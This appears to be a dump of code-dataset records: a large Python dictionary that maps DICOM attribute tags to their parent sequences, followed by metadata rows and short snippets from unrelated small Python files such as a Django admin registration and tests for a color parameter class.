# RelativeTimeUnits
0x0072003AL: [0x00720030L],
# OphthalmicAxialLengthMeasurementModified
0x00221140L: [0x00221210L, 0x00221212L, 0x00221211L],
# PatientID
0x00100020L: [0x00101002L],
# CollimatorShape
0x00181700L: [0x00189538L, 0x00189407L],
# CollimatorLeftVerticalEdge
0x00181702L: [0x00189538L, 0x00189407L],
# CollimatorRightVerticalEdge
0x00181704L: [0x00189538L, 0x00189407L],
# CollimatorUpperHorizontalEdge
0x00181706L: [0x00189538L, 0x00189407L],
# CollimatorLowerHorizontalEdge
0x00181708L: [0x00189538L, 0x00189407L],
# CenterOfCircularCollimator
0x00181710L: [0x00189538L, 0x00189407L],
# RadiusOfCircularCollimator
0x00181712L: [0x00189538L, 0x00189407L],
# VerticesOfThePolygonalCollimator
0x00181720L: [0x00189538L, 0x00189407L],
# RadiopharmaceuticalAgentNumber
0x00189729L: [0x00540016L, 0x00189737L],
# NumberOfIterations
0x00189739L: [0x00189749L],
# NumberOfSubsets
0x00189740L: [0x00189749L],
# ConfidentialityCode
0x00401008L: [0x0040A370L],
# FluenceDataScale
0x30020042L: [0x30020040L],
# ReconstructionType
0x00189756L: [0x00189749L],
# IterativeReconstructionMethod
0x00189769L: [0x00189749L],
# PatientPhysiologicalStateCodeSequence
0x00189772L: [0x00189771L],
# ClinicalTrialSubjectID
0x00120040L: [0x00380502L],
# SpatialResolution
0x00181050L: [0x0018A001L],
# FluenceDataSource
0x30020041L: [0x30020040L],
# RTImagePlane
0x3002000CL: [0x300A00CAL],
# SelectorCodeSequenceValue
0x00720080L: [0x00720022L, 0x00720400L],
# ClinicalTrialSubjectReadingID
0x00120042L: [0x00380502L],
# AddNearSequence
0x00460100L: [0x00460097L, 0x00460098L, 0x00460014L, 0x00460015L, 0x00460016L],
# TreatmentControlPointTime
0x30080025L: [0x30080040L, 0x30080041L, 0x30080160L],
# SelectedTotalOphthalmicAxialLengthSequence
0x00221260L: [0x00221255L],
# ToleranceTableLabel
0x300A0043L: [0x300A03A0L, 0x300A0040L],
# OphthalmicAxialLengthDataSourceCodeSequence
0x00221150L: [0x00221220L, 0x00221225L],
# TimeSlotInformationSequence
0x00540072L: [0x00540063L],
# GantryAngleTolerance
0x300A0044L: [0x300A03A0L, 0x300A0040L],
# AcquisitionDeviceProcessingDescription
0x00181400L: [0x00189412L, 0x00189506L],
# ExclusionStartDatetime
0x00189804L: [0x00189803L],
# ExclusionDuration
0x00189805L: [0x00189803L],
# GraphicLayerRecommendedDisplayCIELabValue
0x00700401L: [0x00700060L],
# DataType
0x00189808L: [0x00189807L, 0x00281401L],
# FalseNegatives
0x00240050L: [0x00240034L],
# AliasedDataType
0x0018980BL: [0x00189807L],
# DataPathAssignment
0x00281402L: [0x00281401L],
# EncryptedContentTransferSyntaxUID
0x04000510L: [0x04000500L],
# ReferencedReferenceImageNumber
0x300C0007L: [0x300A00CAL],
# TypeOfPatientID
0x00100022L: [0x00101002L],
# DistanceObjectToTableTop
0x00189403L: [0x00189401L],
# MAC
0x04000404L: [0x04000403L],
# RelativeXRayExposure
0x00181405L: [0x00189538L],
# NumberOfContourPoints
0x30060046L: [0x30060040L, 0x0070031EL],
# XRayImageReceptorTranslation
0x3002000DL: [0x00741030L],
# AlphaLUTTransferFunction
0x00281410L: [0x0028140BL],
# ReferencedDigitalSignatureSequence
0x04000402L: [0x00081199L],
# DisplayFilterPercentage
0x00289411L: [0x00089458L],
# RecordedBlockSequence
0x300800D0L: [0x30080020L, 0x00741042L, 0x30080021L],
# ControlPointOrientation
0x300A0412L: [0x300A02D0L],
# BeamLimitingDeviceToleranceSequence
0x300A0048L: [0x300A03A0L, 0x300A0040L],
# ReferencedSOPInstanceMACSequence
0x04000403L: [0x00081199L],
# PositionerPrimaryAngle
0x00181510L: [0x00189538L, 0x00189405L],
# RequestedProcedureComments
0x00401400L: [0x0040A370L],
# PositionerSecondaryAngle
0x00181511L: [0x00189538L, 0x00189405L],
# OffsetOfReferencedLowerLevelDirectoryEntity
0x00041420L: [0x00041220L],
# GeneralAccessoryID
0x300A0421L: [0x300A0420L],
# ROIPhysicalPropertiesSequence
0x300600B0L: [0x30060080L],
# ChannelOffset
0x003A0218L: [0x003A0200L, 0x003A0242L],
# MaximumMemoryAllocation
0x20000061L: [0x2000001EL],
# PrismSequence
0x00460028L: [0x00460097L, 0x00460098L, 0x00460014L, 0x00460015L, 0x00460016L],
# GraphicLayerDescription
0x00700068L: [0x00700060L],
# DirectoryRecordType
0x00041430L: [0x00041220L],
# ImagingServiceRequestComments
0x00402400L: [0x0040A370L],
# LightPathFilterPassThroughWavelength
0x00220001L: [0x00480105L, 0x00220017L],
# ReferencedRangeShifterNumber
0x300C0100L: [0x300A0360L, 0x300800F2L],
# ToleranceTableNumber
0x300A0042L: [0x300A03A0L, 0x300A0040L],
# ContourData
0x30060050L: [0x30060040L, 0x0070031EL],
# DVHReferencedROISequence
0x30040060L: [0x30040050L],
# ProtocolContextSequence
0x00400440L: [0x00400260L, 0x00400008L],
# TableTopVerticalPositionTolerance
0x300A0051L: [0x300A03A0L, 0x300A0040L],
# TableTopLongitudinalPositionTolerance
0x300A0052L: [0x300A03A0L, 0x300A0040L],
# ReferencedWaveformChannels
0x0040A0B0L: [0x0040A730L, 0x003A020AL, 0x003A0242L, 0x0040B020L],
# LightPathFilterPassBand
0x00220002L: [0x00480105L, 0x00220017L],
# SelectorSequencePointerPrivateCreator
0x00720054L: [0x00741048L, 0x0074104AL, 0x00720022L, 0x00720400L, 0x00720600L],
# EncryptedContent
0x04000520L: [0x04000500L],
# ComponentID
0x00760055L: [0x00760040L],
# RTImageOrientation
0x30020010L: [0x300A00CAL],
# AddPower
0x00460104L: [0x00460100L, 0x00460101L, 0x00460102L],
# UltrasoundOphthalmicAxialLengthMeasurementsSequence
0x00221220L: [0x00221210L, 0x00221211L],
# PixelOriginInterpretation
0x00480301L: [0x0070005AL],
# IOLPower
0x00221053L: [0x00221090L],
# AdministrationRouteCodeSequence
0x00540302L: [0x00180036L, 0x00540016L, 0x00180026L],
# PredictedRefractiveError
0x00221054L: [0x00221090L],
# ImagePathFilterPassThroughWavelength
0x00220003L: [0x00480105L],
# OverrideSequence
0x30080060L: [0x30080040L, 0x30080041L, 0x30080160L],
# RequestedImageSizeFlag
0x202000A0L: [0x200000A8L],
# RadiopharmaceuticalCodeSequence
0x00540304L: [0x00540016L],
# DVHROIContributionType
0x30040062L: [0x30040060L],
# DataSetName
0x00240306L: [0x00240064L, 0x00240058L],
# NotchFilterFrequency
0x003A0222L: [0x003A0200L],
# ContributionDescription
0x0018A003L: [0x0018A001L],
# SourceFrameOfReferenceUID
0x00640003L: [0x00640002L],
# PatientOrientation
0x00200020L: [0x00082112L, 0x00209450L],
# ImagePathFilterPassBand
0x00220004L: [0x00480105L],
# TemplateIdentifier
0x0040DB00L: [0x0040A504L],
# PaletteColorLookupTableSequence
0x00480120L: [0x00480105L],
# EnergyWindowNumber
0x00540308L: [0x00540306L],
# CalibrationDataSequence
0x00540306L: [0x00540016L],
# AssigningAgencyOrDepartmentCodeSequence
0x0040003AL: [0x00100024L],
# FilterOperationsSequence
0x00720400L: [0x00720200L],
# MatingFeatureDegreeOfFreedomSequence
0x00686400L: [0x006863E0L],
# RTImagePosition
0x30020012L: [0x300A00CAL],
# PatientPrimaryLanguageModifierCodeSequence
0x00100102L: [0x00100101L],
# SelectorCSValue
0x00720062L: [0x00720022L, 0x00720400L],
# SelectorAttributeVR
0x00720050L: [0x00720022L, 0x00720400L],
# CondenserLensPower
0x00480111L: [0x00480105L],
# VectorDimensionality
0x0066001FL: [0x00660012L],
# IlluminationTypeCodeSequence
0x00220016L: [0x00480105L],
# ROINumber
0x30060022L: [0x30060020L],
# FiducialDescription
0x0070030FL: [0x0070031EL],
# SelectorLOValue
0x00720066L: [0x00720022L, 0x00720400L],
# CertifiedTimestamp
0x04000310L: [0xFFFAFFFAL],
# NamesOfIntendedRecipientsOfResults
0x00401010L: [0x0040A370L],
# RTReferencedStudySequence
0x30060012L: [0x30060010L],
# RecordedSnoutSequence
0x300800F0L: [0x30080021L, 0x00741046L],
# ContourUncertaintyRadius
0x00700312L: [0x0070031EL],
# MediumType
0x20000030L: [0x00400321L, 0x200000A2L, 0x200000A4L],
# SurfaceCount
0x0066002AL: [0x00620002L],
# BottomRightHandCornerOfLocalizerArea
0x00480202L: [0x00480200L],
# ROIElementalCompositionSequence
0x300600B6L: [0x300600B0L],
# ReferencedControlPointSequence
0x300C00F2L: [0x300C0004L],
# SelectorPNValue
0x0072006AL: [0x00720022L, 0x00720400L],
# UsedFiducialsSequence
0x00700314L: [0x00700308L, 0x00640002L],
# RecordedLateralSpreadingDeviceSequence
0x300800F4L: [0x30080021L, 0x00741046L],
# OrganDose
0x00400316L: [0x00189538L],
# SelectorSequencePointer
0x00720052L: [0x00741048L, 0x0074104AL, 0x00720022L, 0x00720400L, 0x00720600L],
# ImplantName
0x00221095L: [0x00221300L, 0x00221310L],
# RecordedRangeModulatorSequence
0x300800F6L: [0x30080021L, 0x00741046L],
# SelectorSTValue
0x0072006EL: [0x00720022L, 0x00720400L],
# GraphicCoordinatesDataSequence
0x00700318L: [0x0070031EL],
# VectorCoordinateData
0x00660021L: [0x00660012L],
# HPGLDocument
0x00686300L: [0x006862C0L],
# CompoundGraphicSequence
0x00700209L: [0x00700001L],
# SelectorUTValue
0x00720070L: [0x00720022L, 0x00720400L],
# DoseReferenceNumber
0x300A0012L: [0x300A0010L],
# GridDimensions
0x00640007L: [0x00640005L],
# GraphicLayer
0x00700002L: [0x00700060L, 0x00700001L],
# RTReferencedSeriesSequence
0x30060014L: [0x30060012L],
# SelectorDSValue
0x00720072L: [0x00720022L, 0x00720400L],
# VisualFieldTestPointXCoordinate
0x00240090L: [0x00240089L],
# SteepKeratometricAxisSequence
0x00460074L: [0x00460070L, 0x00221300L, 0x00221310L],
# RequestedContrastAgent
0x00321070L: [0x00400100L],
# NumberOfBeams
0x300A0080L: [0x300A0070L],
# DoseReferenceUID
0x300A0013L: [0x300A0010L],
# HorizontalPrismPower
0x00460030L: [0x00460028L],
# GridResolution
0x00640008L: [0x00640005L],
# RecordedSourceApplicatorSequence
0x30080140L: [0x30080130L],
# KeratometricPower
0x00460076L: [0x00460074L, 0x00460080L],
# ObservationNumber
0x30060082L: [0x30060080L, 0x300600A0L],
# BoundingBoxAnnotationUnits
0x00700003L: [0x00700008L],
# MemoryBitDepth
0x200000A0L: [0x2000001EL],
# ClinicalTrialSponsorName
0x00120010L: [0x00380502L],
# PixelShiftSequence
0x00289501L: [0x00286100L],
# PresentationSizeMode
0x00700100L: [0x0070005AL],
# NumberOfFractionsPlanned
0x300A0078L: [0x30080220L, 0x300A0070L],
# PresentationPixelSpacing
0x00700101L: [0x0070005AL],
# NumberOfFractionPatternDigitsPerDay
0x300A0079L: [0x300A0070L],
# ReferencedLateralSpreadingDeviceNumber
0x300C0102L: [0x300A0370L, 0x300800F4L],
# HalfValueLayer
0x00400314L: [0x00189507L],
# RepeatFractionCycleLength
0x300A007AL: [0x300A0070L],
# DoseReferenceStructureType
0x300A0014L: [0x300A0010L],
# EntranceDoseInmGy
0x00408302L: [0x00189538L],
# PrimaryPositionerScanStartAngle
0x00189510L: [0x00189507L],
# VectorGridData
0x00640009L: [0x00640005L],
# ReferencedSOPInstanceUIDInFile
0x00041511L: [0x00041220L],
# CodingSchemeVersion
0x00080103L: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00080110L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# ReformattingThickness
0x00720512L: [0x00720200L],
# HPGLPenSequence
0x00686320L: [0x006862C0L],
# ConvolutionKernel
0x00181210L: [0x00189314L],
# AnchorPointAnnotationUnits
0x00700004L: [0x00700008L],
# GeneralizedDefectCorrectedSensitivityDeviationProbabilityValue
0x00240104L: [0x00240097L],
# DigitalSignatureDateTime
0x04000105L: [0xFFFAFFFAL],
# ContainerComponentTypeCodeSequence
0x00500012L: [0x00400520L],
# PersonIdentificationCodeSequence
0x00401101L: [0x0040000BL, 0x00700086L, 0x00081052L, 0x00081072L, 0x00080096L, 0x00321031L, 0x0040A078L, 0x0040A07AL, 0x00401011L, 0x00081049L, 0x00081062L],
# PerformedProcessingParametersSequence
0x00741212L: [0x00741216L],
# EdgePointIndexList
0x00660024L: [0x00660013L],
# DepthOfTransverseImage
0x00220041L: [0x00220031L],
# AdditionalDrugSequence
0x0018002AL: [0x00180014L],
# ThreeDRenderingType
0x00720520L: [0x00720200L],
# SmallestImagePixelValue
0x00280106L: [0x00880200L],
# PersonAddress
0x00401102L: [0x0040000BL, 0x00700086L, 0x00081052L, 0x00081072L, 0x00080096L, 0x00321031L, 0x00401011L, 0x00081049L, 0x00081062L],
# ImageOrientationVolume
0x00209302L: [0x0020930FL],
# ApplicationVersion
0x00189525L: [0x00189530L],
# OpticalPathDescription
0x00480107L: [0x00480105L],
# DegreeOfFreedomType
0x00686420L: [0x00686400L],
# PersonTelephoneNumbers
0x00401103L: [0x0040000BL, 0x00700086L, 0x00081052L, 0x00081072L, 0x00080096L, 0x00321031L, 0x00401011L, 0x00081049L, 0x00081062L],
# HorizontalPrismBase
0x00460032L: [0x00460028L],
# LineSequence
0x00660028L: [0x00660013L],
# IlluminationColorCodeSequence
0x00480108L: [0x00480105L],
# Component1ReferencedMatingFeatureSetID
0x00760080L: [0x00760060L],
# GraphicAnnotationUnits
0x00700005L: [0x00700009L],
# IntraOcularPressure
0x0022000BL: [0x00240114L, 0x00240115L],
# MeasuredValueSequence
0x0040A300L: [0x0040A730L],
# NumberOfBrachyApplicationSetups
0x300A00A0L: [0x300A0070L],
# ScreeningBaselineType
0x00240124L: [0x00240122L],
# NumericValueQualifierCodeSequence
0x0040A301L: [0x0040A730L],
# ContainerComponentThickness
0x00500013L: [0x00400520L],
# BeamDoseSpecificationPoint
0x300A0082L: [0x300C0004L],
# AgeCorrectedSensitivityDeviationProbabilityValue
0x00240100L: [0x00240097L],
# FilmSizeID
0x20100050L: [0x00400321L, 0x200000A2L, 0x200000A4L, 0x200000A8L],
# MydriaticAgentConcentrationUnitsSequence
0x00220042L: [0x00220058L],
# MeasuredDoseDescription
0x30080012L: [0x30080010L],
# SpecifiedPrimaryMeterset
0x30080032L: [0x30080020L, 0x00741042L, 0x30080021L],
# CodingSchemeUID
0x0008010CL: [0x00080110L],
# DistributionType
0x00120084L: [0x00120083L],
# DoseReferenceDescription
0x300A0016L: [0x300800E0L, 0x30080050L, 0x300A0010L],
# PrimaryFluenceModeSequence
0x30020050L: [0x300A00B0L, 0x30080020L, 0x30020030L],
# ROIObservationLabel
0x30060085L: [0x30060080L],
# UnformattedTextValue
0x00700006L: [0x0040B020L, 0x00700008L],
# CertificateType
0x04000110L: [0xFFFAFFFAL],
# RTROIIdentificationCodeSequence
0x30060086L: [0x30060080L],
# NumberOfFramesInPhase
0x00540033L: [0x00540032L],
# DeviceLength
0x00500014L: [0x00500010L],
# ModifiedAttributesSequence
0x04000550L: [0x04000561L],
# FontNameType
0x00700228L: [0x00700231L],
# TriangleStripSequence
0x00660026L: [0x00660013L],
# VisualAcuityMeasurementSequence
0x00240110L: [0x00240114L, 0x00240115L],
# BeamLimitingDeviceLeafPairsSequence
0x300800A0L: [0x30080020L, 0x00741042L, 0x30080021L],
# ROIObservationDescription
0x30060088L: [0x30060080L],
}
| 37.756316
| 1,874
| 0.825055
| 8,757
| 143,474
| 13.517643
| 0.473792
| 0.004646
| 0.004739
| 0.006319
| 0.207596
| 0.196166
| 0.18613
| 0.176838
| 0.170705
| 0.161505
| 0
| 0.450668
| 0.087507
| 143,474
| 3,799
| 1,875
| 37.766254
| 0.453509
| 0.313262
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.000263
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
ebe35a6e32a9ca19de77545112fcde7e4fddbaec
| 138
|
py
|
Python
|
minimal_logger/__init__.py
|
mverleg/django_minimal_log
|
ec5aae411d6e7e30f33a07e6efe097f57d11b9df
|
[
"BSD-3-Clause"
] | 4
|
2016-02-04T14:11:55.000Z
|
2019-08-06T18:21:01.000Z
|
minimal_logger/__init__.py
|
mverleg/django_minimal_log
|
ec5aae411d6e7e30f33a07e6efe097f57d11b9df
|
[
"BSD-3-Clause"
] | 9
|
2016-02-01T23:25:10.000Z
|
2016-12-23T20:49:17.000Z
|
minimal_logger/__init__.py
|
mverleg/django_minimal_log
|
ec5aae411d6e7e30f33a07e6efe097f57d11b9df
|
[
"BSD-3-Clause"
] | null | null | null |
"""
Minimal log handler for Django
"""
from .django_logger import MinimalLogHandler
from .python_log import send_log, MinimalLogError
| 13.8
| 49
| 0.789855
| 17
| 138
| 6.235294
| 0.705882
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.144928
| 138
| 9
| 50
| 15.333333
| 0.898305
| 0.217391
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
ccfe6ddc4d9c7d80f9cba6df7155d15c531f3988
| 277
|
py
|
Python
|
app/admin.py
|
paulpaulaga/ask-paul
|
1af662243ac5d05e3f3b237f743a11de25d712e7
|
[
"MIT"
] | null | null | null |
app/admin.py
|
paulpaulaga/ask-paul
|
1af662243ac5d05e3f3b237f743a11de25d712e7
|
[
"MIT"
] | 1
|
2021-10-05T07:42:54.000Z
|
2021-10-05T07:42:54.000Z
|
app/admin.py
|
paulpaulaga/ask-paul
|
1af662243ac5d05e3f3b237f743a11de25d712e7
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from app import models
admin.site.register(models.Profile)
admin.site.register(models.QuestionLike)
admin.site.register(models.AnswerLike)
admin.site.register(models.Tag)
admin.site.register(models.Question)
admin.site.register(models.Answer)
| 27.7
| 40
| 0.833935
| 39
| 277
| 5.923077
| 0.384615
| 0.233766
| 0.441558
| 0.597403
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.054152
| 277
| 9
| 41
| 30.777778
| 0.881679
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.25
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
6922233f46349b38d0cd63dd86cd790da953a571
| 3,319
|
py
|
Python
|
tests/test_color.py
|
lukasz-migas/SimpleParam
|
a796df44c675d67d82a73ff5cac689fd626ebfde
|
[
"MIT"
] | null | null | null |
tests/test_color.py
|
lukasz-migas/SimpleParam
|
a796df44c675d67d82a73ff5cac689fd626ebfde
|
[
"MIT"
] | 16
|
2019-10-28T07:43:59.000Z
|
2021-10-19T02:40:28.000Z
|
tests/test_color.py
|
lukasz-migas/SimpleParam
|
a796df44c675d67d82a73ff5cac689fd626ebfde
|
[
"MIT"
] | null | null | null |
"""Test Color class"""
import pytest
import simpleparam as param
class TestColor(object):
"""Test Color class"""
@staticmethod
def test_creation_hex():
"""Test Color - correct initilization"""
value = "#FFF000"
color = param.Color(value=value)
assert color.value == value
@staticmethod
def test_creation_hex_nohash():
"""Test Color - correct initilization"""
value = "FFF000"
color = param.Color(value=value)
assert color.value == value
@staticmethod
def test_creation_shorthex():
"""Test Color - correct initilization"""
value = "#FFF"
color = param.Color(value=value)
assert color.value == value
@staticmethod
def test_creation_shorthex_nohash():
"""Test Color - correct initilization"""
value = "FFF"
color = param.Color(value=value)
assert color.value == value
@staticmethod
def test_creation_change():
"""Test Color - correct initilization"""
value = "#FFF"
color = param.Color(value=value)
assert color.value == value
value = "#FFFF00"
color.value = value
assert color.value == value
@staticmethod
def test_creation_doc():
"""Test Color - correct initilization"""
value = "#FFF000"
doc = "I am a color"
color = param.Color(value=value, doc=doc)
assert color.doc == doc
@staticmethod
def test_kind():
"""Test Color - correct initilization"""
value = "#FFF000"
color = param.Color(value=value)
assert color.kind == "Color"
@staticmethod
def test_creation_int():
"""Test Color - throw error due to incorrect initilization"""
with pytest.raises(ValueError) as __:
value = 42
__ = param.Color(value=value)
@staticmethod
def test_creation_str():
"""Test Color - throw error due to incorrect initilization"""
with pytest.raises(ValueError) as __:
value = "true"
__ = param.Color(value=value)
@staticmethod
def test_creation_dict():
"""Test Color - throw error due to incorrect initilization"""
with pytest.raises(ValueError) as __:
value = dict()
__ = param.Color(value=value)
@staticmethod
def test_creation_list():
"""Test Color - throw error due to incorrect initilization"""
with pytest.raises(ValueError) as __:
value = list()
__ = param.Color(value=value)
@staticmethod
def test_creation_none():
"""Test Color - throw error due to incorrect initilization"""
with pytest.raises(TypeError) as __:
value = None
__ = param.Color(value=value, allow_None=True)
@staticmethod
def test_creation_shorthex_bad():
"""Test Color - throw error due to incorrect initilization"""
with pytest.raises(ValueError) as __:
value = "FFFF"
__ = param.Color(value=value)
@staticmethod
def test_creation_rgb():
"""Test Color - throw error due to incorrect initilization"""
with pytest.raises(ValueError) as __:
value = "(255, 255, 255)"
__ = param.Color(value=value)
| 29.371681
| 69
| 0.596867
| 346
| 3,319
| 5.554913
| 0.144509
| 0.114464
| 0.163892
| 0.145682
| 0.832466
| 0.784079
| 0.757024
| 0.757024
| 0.634755
| 0.634755
| 0
| 0.010711
| 0.296776
| 3,319
| 112
| 70
| 29.633929
| 0.812768
| 0.201868
| 0
| 0.558442
| 0
| 0
| 0.0331
| 0
| 0
| 0
| 0
| 0
| 0.103896
| 1
| 0.181818
| false
| 0
| 0.025974
| 0
| 0.220779
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
15c2a7a7048e903984ca47e58c871dfeb3ff7fd9
| 18
|
py
|
Python
|
DBUtils/Testing/__init__.py
|
moibenko/enstore
|
6f2ff5b67ff73872a9e68f2a68b0bdaa70cef9b9
|
[
"Intel",
"Unlicense"
] | 4
|
2021-10-17T11:17:59.000Z
|
2022-02-28T16:58:40.000Z
|
DBUtils/Testing/__init__.py
|
moibenko/enstore
|
6f2ff5b67ff73872a9e68f2a68b0bdaa70cef9b9
|
[
"Intel",
"Unlicense"
] | 17
|
2021-10-05T21:44:06.000Z
|
2022-03-31T16:58:40.000Z
|
DBUtils/Testing/__init__.py
|
moibenko/enstore
|
6f2ff5b67ff73872a9e68f2a68b0bdaa70cef9b9
|
[
"Intel",
"Unlicense"
] | 8
|
2021-09-02T18:55:49.000Z
|
2022-03-09T21:05:28.000Z
|
# DBUtils Testing
| 9
| 17
| 0.777778
| 2
| 18
| 7
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 18
| 1
| 18
| 18
| 0.933333
| 0.833333
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
15deb42e225f16313e3c85ba24262dcb8a830073
| 148
|
py
|
Python
|
neurokit2/bio/__init__.py
|
danibene/NeuroKit
|
df0ab6696e7418cf8b8dcd3ed82dbf879fa61b3a
|
[
"MIT"
] | 1
|
2020-12-31T17:48:11.000Z
|
2020-12-31T17:48:11.000Z
|
neurokit2/bio/__init__.py
|
danibene/NeuroKit
|
df0ab6696e7418cf8b8dcd3ed82dbf879fa61b3a
|
[
"MIT"
] | null | null | null |
neurokit2/bio/__init__.py
|
danibene/NeuroKit
|
df0ab6696e7418cf8b8dcd3ed82dbf879fa61b3a
|
[
"MIT"
] | 2
|
2021-12-25T15:39:49.000Z
|
2021-12-25T15:44:16.000Z
|
"""Submodule for NeuroKit."""
from .bio_analyze import bio_analyze
from .bio_process import bio_process
__all__ = ["bio_process", "bio_analyze"]
| 18.5
| 40
| 0.763514
| 20
| 148
| 5.15
| 0.45
| 0.291262
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121622
| 148
| 7
| 41
| 21.142857
| 0.792308
| 0.155405
| 0
| 0
| 0
| 0
| 0.184874
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
d6851d12ce3e4e6186fbc6f09dbbe5cc38e2e20e
| 70
|
py
|
Python
|
src/dcos_migrate/plugins/secret/__init__.py
|
fatz/dcos_migrate
|
0310c93b76dd0cd7149dbac335de870a30956a68
|
[
"Apache-2.0"
] | null | null | null |
src/dcos_migrate/plugins/secret/__init__.py
|
fatz/dcos_migrate
|
0310c93b76dd0cd7149dbac335de870a30956a68
|
[
"Apache-2.0"
] | null | null | null |
src/dcos_migrate/plugins/secret/__init__.py
|
fatz/dcos_migrate
|
0310c93b76dd0cd7149dbac335de870a30956a68
|
[
"Apache-2.0"
] | null | null | null |
from .plugin import SecretPlugin
from .migrator import SecretMigrator
| 23.333333
| 36
| 0.857143
| 8
| 70
| 7.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.114286
| 70
| 2
| 37
| 35
| 0.967742
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
d6d1e60b152998efad630e9c71640f30b0866a3b
| 64
|
py
|
Python
|
firetail/utils/__init__.py
|
evidex/Firetail
|
